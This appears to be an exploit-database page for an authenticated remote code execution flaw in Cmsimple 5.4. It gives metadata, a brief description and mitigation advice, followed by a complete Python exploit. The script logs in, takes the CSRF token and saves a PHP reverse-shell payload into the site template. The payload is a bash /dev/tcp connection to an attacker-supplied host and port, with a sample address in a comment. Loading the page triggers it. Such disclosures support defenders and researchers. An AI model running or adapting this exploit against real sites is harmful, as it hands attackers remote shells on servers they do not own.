Cmsimple 5.4 - Remote Code Execution (RCE) (Authenticated)

vendor:

Cmsimple

by:

pussycat0x

9,8

CVSS

HIGH

Remote Code Execution (RCE)

CWE

Product Name: Cmsimple

Affected Version From: 5.4

Affected Version To: 5.4

Patch Exists: YES

Related CWE: N/A

CPE: a:cmsimple:cmsimple:5.4

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Ubuntu-20.04.1

2021

Cmsimple 5.4 – Remote Code Execution (RCE) (Authenticated)

A vulnerability in Cmsimple 5.4 allows an authenticated user to execute arbitrary code on the target system. This is achieved by sending a crafted POST request to the target system with a malicious payload. The payload is then executed on the target system.

Mitigation:

Ensure that all users have strong passwords and that the application is kept up to date with the latest security patches.

Source

Exploit-DB raw data:

# Exploit Title: Cmsimple 5.4 - Remote Code Execution (RCE) (Authenticated)
# Date: 29.09.2021
# Exploit Author: pussycat0x
# Vendor Homepage: https://www.cmsimple.org/
# Version: 5.4
# Tested on: ubuntu-20.04.1

import argparse
from bs4 import BeautifulSoup
from argparse import ArgumentParser
import requests
parser= ArgumentParser(description="cmsimple ", epilog='cmsimpleRCE.py -url targetdomai.com -u username -p password -ip lhost -lp lport')
rparser = parser.add_argument_group('required argument')
rparser.add_argument('-url','--host', type=str, help='target domain',required=True)
rparser.add_argument('-u' ,'--username', type=str, help='', required=True)
rparser.add_argument('-p','--password',type=str,help='', required=True)
rparser.add_argument('-ip','--lhost',type=str,help='listener ip', required=True)
rparser.add_argument('-lp','--lport', type=str,help='listener port', required=True)
args= parser.parse_args()
#url ='192.168.1.106'
s = requests.Session()

def main():
	try:
		
		url =(args.host)
		payload = {
		'user':args.username,
		'passwd':args.password,
		'submit': 'Login',
		'login':'true',
		}
		login=s.post(url +'/?Welcome_to_CMSimple_5',data=payload)
		if login.status_code == 200:
			print('Exploit Completed')
		else:
			print("Invalid Credential")
		cook =(login.cookies.get_dict())
		temp = s.get(url +'/?file=template&action=edit', cookies=cook)
		soup = BeautifulSoup(temp.text, 'lxml')
		csrfToken = soup.find('input',attrs = {'name':'csrf_token'})['value']
		#<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");		
		rev = """<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/"""
		rev2=(args.lhost)
		rev3=(args.lport)
		rev4=""" 0>&1'");"""
		php =(rev+rev2+'/'+rev3+rev4)
		revpayload = {
		'cmsimpleDataFileStored':'cmsimpleDataFileStored',
		'csrf_token':csrfToken,
		'text':php,
		'file':'template',
		'action':'save',
		}
		shell = s.post(url +'/',cookies=cook , data=revpayload)
		exec = s.get(url+'/')
		exit()
	except:
		pass
main()